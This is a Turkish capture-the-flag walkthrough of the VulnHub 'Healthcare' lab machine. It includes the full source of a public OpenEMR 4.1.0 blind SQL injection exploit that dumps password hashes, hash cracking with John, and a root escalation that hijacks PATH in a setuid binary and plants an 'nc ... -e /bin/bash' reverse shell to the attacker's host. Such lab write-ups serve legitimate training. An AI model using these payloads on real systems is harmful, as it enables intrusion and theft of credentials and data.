Makine Hakkında Bilgiler
Açıklama:
Level: Intermediate
Description:This machine was developed to train the student to think according to the OSCP methodology. Pay attention to each step, because if you lose something you will not reach the goal: to become root in the system.
It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and root.txt.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/healthcare-1,522/
İndirme Sayfası:
https://download.vulnhub.com/healthcare/Healthcare.ova
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.31.108 netmask 255.255.255.0 broadcast 192.168.31.255
inet6 fe80::a00:27ff:fe8b:5efb prefixlen 64 scopeid 0x20<link>
ether 08:00:27:8b:5e:fb txqueuelen 1000 (Ethernet)
RX packets 960 bytes 75877 (74.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 19431 bytes 1174170 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[~]
└─# arp-scan -l | grep 9f
192.168.31.140 08:00:27:61:53:9f PCS Systemtechnik GmbH
nmap taraması ile devam edelim.
[*] Scan: 1239
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 16:22 EDT
Nmap scan report for symfonos.local (192.168.31.140)
Host is up (0.00024s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
|_http-title: Coming Soon 2
MAC Address: 08:00:27:61:53:9F (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/30%OT=21%CT=1%CU=34692%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=60DCD297%P=x86_64-pc-linux-gnu)SEQ(SP=CB%GCD=1%ISR=D2%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=
OS:M5B4ST11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3
OS:890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11
OS:NW6%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164
OS:%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.24 ms symfonos.local (192.168.31.140)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.68 seconds
Nikto çıktısını paylaşmayacağım çünkü beni çok yanıltı shellshock olduğunu düşünmüştüm uzun bir sürem shellshock ile geçti. Aşağıda gobuster çıktısı bulunmaktadır.
┌──(root💀kali)-[~]
└─# gobuster dir --url http://192.168.31.140/ --follow-redirect --status-codes-blacklist "404" --no-error --threads 70 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log --expanded --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.140/
[+] Method: GET
[+] Threads: 70
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,sql,7z,rar,log,php,zip,bak,txt,php5,py
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/30 16:24:33 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.31.140/images/ (Status: 403) [Size: 1014]
http://192.168.31.140/index.html (Status: 200) [Size: 5031]
http://192.168.31.140/icons/ (Status: 403) [Size: 1014]
http://192.168.31.140/css/ (Status: 403) [Size: 1014]
http://192.168.31.140/cgi-bin/ (Status: 403) [Size: 1014]
http://192.168.31.140/js/ (Status: 403) [Size: 1014]
http://192.168.31.140/vendor/ (Status: 403) [Size: 1014]
http://192.168.31.140/robots.txt (Status: 200) [Size: 620]
http://192.168.31.140/error/ (Status: 403) [Size: 1014]
http://192.168.31.140/fonts/ (Status: 403) [Size: 1014]
http://192.168.31.140/gitweb/ (Status: 403) [Size: 1014]
http://192.168.31.140/openemr/ (Status: 200) [Size: 5196]nmap çıktısında robots.txt bulundu ancak burdaki robots.txt'de de tavşan deliği... gobuster sonuçlarında http://192.168.31.140/openemr sonucunu buldum ve buraya gittiğimde bir login sayfası ile karşılaştım. Sqli denemeleri yaptım ancak başarılı olamadım. searchsploit'de aramalar yaptığımda bana burada sqli olduğunu söylüyordu. Kendim bulmaktansa ilgili python kodunu çalıştırdım ve kullanıcı bilgilerini elde ettim.
┌──(root💀kali)-[~]
└─# searchsploit OpenEMR 4.1.0
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection | php/webapps/49742.py
Openemr-4.1.0 - SQL Injection | php/webapps/17998.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(root💀kali)-[~]
└─# cat $(locate php/webapps/17998.txt)
# Exploit Title: [Openemr-4.1.0 SQL injection Vulnerability]
# Date: [2011/10/18]
# Author: [I2sec-dae jin Oh]
# Software Link: [http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download]
# Vendor : www.open-emr.com
# Version: [Openemr-4.1.0]
# Tested on: [Windows 7]
---------------------------------------
source of : /interface/patient_file/summary/add_edit_issue.php:
$irow = array();
if ($issue)
$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection
else if ($thistype)
$irow['type'] = $thistype
proof of concept:
http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--
┌──(root💀kali)-[~]
└─# cat $(locate php/webapps/49742.py)
# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection
# Date: 2021-04-03
# Exploit Author: Michael Ikua
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip
# Version: 4.1.0
# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/
#!/usr/bin/env python3
import requests
import string
import sys
print("""
____ ________ _______ __ __ ___ ____
/ __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \\
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / /
/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/
/_/
____ ___ __ _____ ____ __ _
/ __ )/ (_)___ ____/ / / ___// __ \ / / (_)
/ /_/ / / / __ \/ __ / \__ \/ / / / / / / /
/ /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike
""")
all = string.printable
# edit url to point to your openemr instance
url = "http://192.168.56.106/openemr/interface/login/validateUser.php?u="
def extract_users_num():
print("[+] Finding number of users...")
for n in range(1,100):
payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''
r = requests.get(url+payload)
if r.elapsed.total_seconds() > 3:
user_length = n
break
print("[+] Found number of users: " + str(user_length))
return user_length
def extract_users():
users = extract_users_num()
print("[+] Extracting username and password hash...")
output = []
for n in range(1,1000):
payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''
#print(payload)
r = requests.get(url+payload)
#print(r.request.url)
if r.elapsed.total_seconds() > 3:
length = n
break
for i in range(1,length+1):
for char in all:
payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''
#print(payload)
r = requests.get(url+payload)
#print(r.request.url)
if r.elapsed.total_seconds() > 3:
output.append(char)
if char == ",":
print("")
continue
print(char, end='', flush=True)
try:
extract_users()
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit() Python kodunu okuduğumuzda ilgili url'yi değişitirmemizin yeterli olduğunu görebiliyoruz.
┌──(root💀kali)-[~/oscp/healt]
└─# python3 49742.py
____ ________ _______ __ __ ___ ____
/ __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / /
/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/
/_/
____ ___ __ _____ ____ __ _
/ __ )/ (_)___ ____/ / / ___// __ \ / / (_)
/ /_/ / / / __ \/ __ / \__ \/ / / / / / / /
/ /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike
[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d Harika! Kullanıcı bilgilerini elde ettik.
admin:ackbar
medical:medicalBu bilgilerle web uygulaması içerisine girebiliyoruz. İçine girdikten sonra biraz araştırdım ve php kodları yazabildiğim bir alan buldum. Biraz araştırın bu kısmı size bırakıyorum 🙂
php kodlarının olduğu yere php reverse shell'imi bastım. Böylece apache kullanıcısı olarak reverse aldım...
sh-4.1$ id
id
uid=479(apache) gid=416(apache) groups=416(apache)
sh-4.1$
Her zaman kullandığım lse.sh'ı kullandım. Burada /var/backups klasörü altında shadow dosyası bulunuyordu. John ile kullanıcıları kırdım.
┌──(root💀kali)-[~/oscp/healt]
└─# john hash
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
medical (medical)
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Further messages of this type will be suppressed.
To see less of these warnings, enable 'RelaxKPCWarningCheck' in john.conf
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
skywalker (almirant)
Proceeding with incremental:ASCII
İlginç bir nokta. Buradan direkt root olabiliriz ama ben kullanıcılara zıpladım onlarla da araştırmalar yaptım. Şimdi kolay bir şekilde nasıl root olabileceğimizi göstereceğim.
apache kullanıcısıyken lse.sh çıktılarını okuduğumda çok fazla suid biti etkin edilmiş binary dosya bulunuyordu. Aslında healthcheck bana çok tanıdık gelmişti ama nedense bakmadım. Çook zonra bakmayı düşündüm.
--
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/lib/ssh/ssh-keysign
/usr/lib/polkit-resolve-exe-helper
/usr/lib/polkit-grant-helper-pam
/usr/lib/polkit-set-default-helper
/usr/sbin/fileshareset
/usr/sbin/traceroute6
/usr/bin/pumount
/usr/bin/batch
/usr/bin/wvdial
/usr/bin/pmount
/usr/bin/sperl5.10.1
/usr/bin/gpgsm
/usr/bin/gpg
/usr/bin/healthcheck
/usr/bin/Xwrapper
/usr/bin/ping6
/lib/dbus-1/dbus-daemon-launch-helper
/tmp/lse.sh
---healthcheck uygulamasını çalıştırdığımızda aşağıdaki gibi bir çıktı alıyoruz.
sh-4.1$ healthcheck
healthcheck
TERM environment variable not set.
System Health Check
Scanning System
eth2 Link encap:Ethernet HWaddr 08:00:27:61:53:9F
inet addr:192.168.31.140 Bcast:192.168.31.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe61:539f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:16720601 errors:0 dropped:0 overruns:0 frame:0
TX packets:16920731 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1060130134 (1011.0 MiB) TX bytes:1694217149 (1.5 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:179 errors:0 dropped:0 overruns:0 frame:0
TX packets:179 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:19039 (18.5 KiB) TX bytes:19039 (18.5 KiB)
Disk /dev/sda: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Device Boot Start End Blocks Id System
/dev/sda1 * 63 18876374 9438156 83 Linux
/dev/sda2 18876375 20964824 1044225 5 Extended
/dev/sda5 18876438 20964824 1044193+ 82 Linux swap / Solaris
4.0K ./gpg-ycbRQr
4.0K ./gpg-WOAttn
4.0K ./gpg-HVF7hc
4.0K ./gpg-Ev8G59
4.0K ./.ICE-unix
4.0K ./.X11-unix
6.3M .
Çıktılar çok tanıdık mesela ifconfig gibi. Bunu görünce PATH manipülasyonu yapmayı düşündüm.
[almirant@localhost tmp]$ strings /usr/bin/healthcheck
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -hKodun içerisinde açık bir şekilde ifconfig olduğunu görebiliyoruz.
[almirant@localhost tmp]$ echo id > ifconfig
echo id > ifconfig
[almirant@localhost tmp]$ chmod 777 ifconfig
chmod 777 ifconfig
[almirant@localhost tmp]$ cat ifconfig
cat ifconfig
id
[almirant@localhost tmp]$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
[almirant@localhost tmp]$ echo $PATH
echo $PATH
/tmp:/sbin:/usr/sbin:/bin:/usr/bin:/usr/lib/qt4/bin[almirant@localhost tmp]$ healthcheck
healthcheck
TERM environment variable not set.
System Health Check
Scanning System
uid=0(root) gid=0(root) groups=0(root),7(lp),19(floppy),22(cdrom),80(cdwriter),81(audio),82(video),83(dialout),100(users),490(polkituser),502(almirant)
Disk /dev/sda: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Device Boot Start End Blocks Id System
/dev/sda1 * 63 18876374 9438156 83 Linux
/dev/sda2 18876375 20964824 1044225 5 Extended
/dev/sda5 18876438 20964824 1044193+ 82 Linux swap / Solaris
4.0K ./gpg-ycbRQr
4.0K ./gpg-WOAttn
4.0K ./gpg-HVF7hc
4.0K ./gpg-Ev8G59
4.0K ./.ICE-unix
4.0K ./.X11-unix
6.3M .Harika! Şimdi reverse alalım.
[almirant@localhost tmp]$ echo "nc 192.168.31.108 1822 -e /bin/bash" > ifconfig
<cho "nc 192.168.31.108 1822 -e /bin/bash" > ifconfig
[almirant@localhost tmp]$ cat ifconfig
cat ifconfig
nc 192.168.31.108 1822 -e /bin/bash
[almirant@localhost tmp]$
[almirant@localhost tmp]$ healthcheck
healthcheck
TERM environment variable not set.
System Health Check
Scanning System
┌──(root💀kali)-[~/oscp/healt]
└─# nc -lvp 1822
listening on [any] 1822 ...
connect to [192.168.31.108] from symfonos.local [192.168.31.140] 50926
id
uid=0(root) gid=0(root) groups=0(root),7(lp),19(floppy),22(cdrom),80(cdwriter),81(audio),82(video),83(dialout),100(users),490(polkituser),502(almirant)
cd /root
ls
Desktop
Documents
drakx
healthcheck
healthcheck.c
root.txt
sudo.rpm
tmp
cat root.txt
██ ██ ██████ ██ ██ ████████ ██████ ██ ███████ ██████ ██ ██ █████ ██████ ██████ ███████ ██████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
████ ██ ██ ██ ██ ██ ██████ ██ █████ ██ ██ ███████ ███████ ██████ ██ ██ █████ ██████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██████ ██████ ██ ██ ██ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ██
Thanks for Playing!
Follow me at: http://v1n1v131r4.com
root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
Eski müfredata uygun bir OSCP makinası gibi... Makinenin bana akttığı şey gobuster taramalarında directory-list-2.3-big.txt kullanmak.
İlk Yorumu Siz Yapın